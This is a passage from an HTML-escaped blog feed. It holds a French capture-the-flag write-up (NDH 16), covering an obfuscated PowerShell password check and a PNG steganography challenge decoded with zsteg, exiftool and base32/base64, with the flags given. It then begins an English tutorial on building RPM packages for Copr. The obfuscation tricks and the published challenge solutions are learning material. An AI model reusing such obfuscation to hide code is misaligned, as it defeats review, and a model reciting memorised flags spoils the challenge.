&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ewAwAH0AewAxAH0A&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;LwB3AGEA&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;tc&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;&amp;lt;#████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████#&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ewAwAH0AewAxAH0A&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;gX&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;cQ&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;h&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;9W&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;ewAwAH0AewAxAH0A&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;?v&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;=d&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;4w&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sa structure n’est pas très claire aux premiers abords. On commence par enlever ces lignes blanches qui sont en réalité des commentaires. On se retrouve avec beaucoup de texte encodé en base64 au début, puis beaucoup de chaines de caractères formattées du type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;{2}{0}{1}&quot; -f &apos;b&apos;, &apos;VARi&apos;, &apos;a&apos;&lt;/code&gt; - ce qui renvoie la chaine de caractère suivante &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VARiab&lt;/code&gt;, pour probablement former variable plus tard.&lt;/p&gt;

&lt;p&gt;En réalité, la structure gloable du code ressemble à ça :&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;${DONTREv`ERs`E`ME1}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;&amp;lt;# beaucoup de code #&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;do&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${01100101010000101}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read-Host&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${01100101010000101}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-nomatch&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${z3}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write-Host&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${z4}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${input}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${z5}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${input}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ok&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write-Host&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${z6}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${input}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-ne&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ok&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut être tenté d’afficher le contenu de la variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DontReverseMe1&lt;/code&gt;, mais à part une vidéo de Rick Astley vous ne serez pas bien plus avancé.&lt;/p&gt;

&lt;p&gt;En réalité c’est la fin du code qui nous intéresse. On se rend compte que l’entrée utilisateur est comparée à la variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z3&lt;/code&gt;.
Cette variable est définie lors du calcul de la variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DontReverseMe1&lt;/code&gt; mais son résultat n’est pas stockée dedans.&lt;/p&gt;

&lt;p&gt;Il ne nous reste plus qu’à afficher &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z3&lt;/code&gt; ! Le meilleur moyen est d’ajouter la ligne suivante juste avant le &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do {} while ()&lt;/code&gt;, la boucle qui vous demande le mot de passe en boucle.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Write-Host&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;${z3}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Le drapeau était : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ObFU5C4t3D-fl4G-i5-0BfU5c4T3d&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;orelsan&quot;&gt;Orelsan&lt;/h2&gt;

&lt;p&gt;On commence par télécharger l’image suivante :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ndh16-oreilles-sales.png&quot; alt=&quot;ndh16-oreilles-sales.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Puis on l’examine avec zsteg, un outil bien pratique :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gem &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;zsteg
zsteg ndh16-oreilles-sales.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;zsteg nous informe que des données ont été ajoutées à la fin de l’image :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;[?] 215426 bytes of extra data after image end (IEND), offset = 0x2e563
extradata:0         .. file: PNG image data, 680 x 510, 8-bit/color RGBA, non-interlaced
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On extrait ces données :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;zsteg &lt;span class=&quot;nt&quot;&gt;-E&lt;/span&gt; extradata:0 ndh16-oreilles-sales.png &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; basiq.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/ndh16-basique.png&quot; alt=&quot;ndh16-basique.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cette fois-ci zsteg ne nous donne rien d’intéressant.
Pas d’information cachée non plus en changeant la luminosité ou le contrate de l’image.
Il reste encore un point à étudier, les méta-données de l’image, et particulièrement ses données EXIF.&lt;/p&gt;

&lt;p&gt;Pour ça :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf install /usr/bin/exiftool
exiftool basiq.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Une ligne, qui n’a pas retenue mon attention au début, était cependant la clé du challenge :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Special Instructions            : 4D4A57564533324E4B524E474D5A4A544F5256553436544850424844455354494A555A4653364B5A474A4D5445544B584C453255344D5356474E475855514C5A4A555A4555334B5049524354435753584A4A5755365632474E5247573252544B4A56564655323232495247584F574C4E4A553245325243534E42484732534A524A5A4346534D433249354C47595453454E4D32453656324F4E4A4E4649554C324A564C565336434F4E4A4558515753584B4532553652434B4E564E4549554C594C4A57554B4E434E495241584F54544E4A553245365632534E4A4D5855524A544C4A4B464B36535A4B5249584F5432454C4A554655334B4B4E4A4D564F534C324C455A455532535049354954475454324A555A553256434B4E524846495A5A534A555A54434F493D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;C’est de l’hexadécimal. On récupère le tout dans python sous la forme d’un buffer :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;exif_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;4D4A57564533324E4B524E474D5A4A544F5256553436544850424844455354494A555A4653364B5A474A4D5445544B584C453255344D5356474E475855514C5A4A555A4555334B5049524354435753584A4A5755365632474E5247573252544B4A56564655323232495247584F574C4E4A553245325243534E42484732534A524A5A4346534D433249354C47595453454E4D32453656324F4E4A4E4649554C324A564C565336434F4E4A4558515753584B4532553652434B4E564E4549554C594C4A57554B4E434E495241584F54544E4A553245365632534E4A4D5855524A544C4A4B464B36535A4B5249584F5432454C4A554655334B4B4E4A4D564F534C324C455A455532535049354954475454324A555A553256434B4E524846495A5A534A555A54434F493D&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;d1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fromhex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exif_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Ce qui affiche : MJWVE32NKRNGMZJTORVU46THPBHDESTIJUZFS6KZGJMTETKXLE2U4MSVGNGXUQLZJUZEU3KPIRCTCWSXJJWU6V2GNRGW2RTKJVVFU222IRGXOWLNJU2E2RCSNBHG2SJRJZCFSMC2I5LGYTSENM2E6V2ONJNFIUL2JVLVS6CONJEXQWSXKE2U6RCKNVNEIULYLJWUKNCNIRAXOTTNJU2E6V2SNJMXURJTLJKFK6SZKRIXOT2ELJUFU3KKNJMVOSL2LEZEU2SPI5ITGTT2JUZU2VCKNRHFIZZSJUZTCOI=
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;J’essaye de décoder l’ASCII du buffer comme de la base64 mais rien. Un peu d’aide exterieure (merci !) me suggère d’essayer la base32 dont je n’avais jamais entendu parler.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;d2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;b32decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Ce qui affiche : bmRoMTZfe3tkNzgxN2JhM2YyY2Y2MWY5N2U3MzAyM2JmODE1ZWJmOWFlMmFjMjZkZDMwYmM4MDRhNmI1NDY0ZGVlNDk4OWNjZTQzMWYxNjIxZWQ5ODJmZDQxZmE4MDAwNmM4OWRjYzE3ZTUzYTQwODZhZmJjYWIzY2JjOGQ3NzM3MTJlNTg2M319
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On avance, cette fois-ci ça ressemble à de la base64 :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;d3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Ce qui affiche : ndh16_{{d7817ba3f2cf61f97e73023bf815ebf9ae2ac26dd30bc804a6b5464dee4989cce431f1621ed982fd41fa80006c89dcc17e53a4086afbcab3cbc8d773712e5863}}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/assets/code/basiq.py&quot;&gt;Télécharger le script au complet&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Le drapeau était donc :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;ndh16_{{d7817ba3f2cf61f97e73023bf815ebf9ae2ac26dd30bc804a6b5464dee4989cce431f1621ed982fd41fa80006c89dcc17e53a4086afbcab3cbc8d773712e5863}}`
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Et c’est tout pour cette édition !&lt;/p&gt;
</description>
        <pubDate>Sun, 01 Jul 2018 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2018-07-01/write-up-ndh-16/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2018-07-01/write-up-ndh-16/</guid>
      </item>
    
    
    
      <item>
        <title>Publish on Copr</title>
        
        <description>&lt;p&gt;&lt;em&gt;Disclaimer: I’m not a linux packaging expert, some parts could be considered as bad practises. Moreover, there are billions different ways of building packages. I am proposing only one in this article.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;setup&quot;&gt;Setup&lt;/h2&gt;

&lt;p&gt;First of all, we will need some tools to build packages:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dnf &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;git rpmdevtools rpm-build
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;RPM is a bit special, as it needs its own folder hierarchy (stored by default in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/rpmbuild&lt;/code&gt;) and can’t build without this hierarchy. It’s a bit annoying when you manage your packages in different repositories. We will see one way to get around this problem.&lt;/p&gt;

&lt;p&gt;First, create a git repository for your RPMs:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;my-rpms &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;my-rpms
git init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will create one folder for each RPM and initialize with the essence of a RPM: a spec file. For now, let’s start with only one, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chez-scheme&lt;/code&gt; which is a real example:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;chez-scheme &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;chez-scheme
rpmdev-newspec &lt;span class=&quot;nt&quot;&gt;--macros&lt;/span&gt; chez-scheme.spec
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should have generated the following file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Name:           chez-scheme
Version:        
Release:        1%{?dist}
Summary:        

License:        
URL:            
Source0:        

BuildRequires:  
Requires:       

%description


%prep
%autosetup

%build
%configure
%make_build


%install
rm -rf %{buildroot}
%make_install


%files
%license add-license-file-here
%doc add-docs-here

%changelog
* Sun May 20 2018 Quentin Dufour &amp;lt;quentin@dufour.io&amp;gt;
- 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, now we must fill this file. You can use the Fedora Packaging Guidelines guide to find help for the different macro (lines starting with a percent). You can also take some inspiration from existing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.spec&lt;/code&gt; files like &lt;a href=&quot;https://src.fedoraproject.org/rpms/meshlab/blob/master/f/meshlab.spec&quot;&gt;meshlab.spec&lt;/a&gt; or &lt;a href=&quot;https://github.com/superboum/rpm/blob/master/chez-scheme/chez-scheme.spec&quot;&gt;chez-scheme.spec&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;sources-and-patches&quot;&gt;Sources and patches&lt;/h2&gt;

&lt;p&gt;We will consider the case where a source tarball is provided, but you need to patch it.
You can easily retrieve a tarball from any github or gitlab project, for a given release, like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Source0: https://github.com/cisco/ChezScheme/archive/v%{version}.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By templating the link, it will be easier to upgrade the package.&lt;/p&gt;

&lt;p&gt;To create the patches, you have different options. You can either clone the repository, do the modification in a specific branch or commit, then generate a patch:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git checkout &lt;span class=&quot;nt&quot;&gt;-b&lt;/span&gt; v9.5-patches
git commit &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;A first patch&quot;&lt;/span&gt;
git commit &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;A second patch&quot;&lt;/span&gt;
git format-patch v9.5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another way is to download and extract the tarball, create a copy and use diff:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;tar &lt;/span&gt;xf v9.5.tar.gz
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; v9.5 v9.5-src
&lt;span class=&quot;c&quot;&gt;# modify v9.5&lt;/span&gt;
diff &lt;span class=&quot;nt&quot;&gt;-Naur&lt;/span&gt; v9.5-src v9.5 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; some-modification.patch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will put these patches in our git repository, next to our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.spec&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rpm
└── chez-scheme
    ├── chez-scheme.spec
    ├── chez-scheme-symlink.patch
    └── chez-scheme-xlocale.patch

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Applying patches and extracting tarball can lead to some problems.&lt;/p&gt;

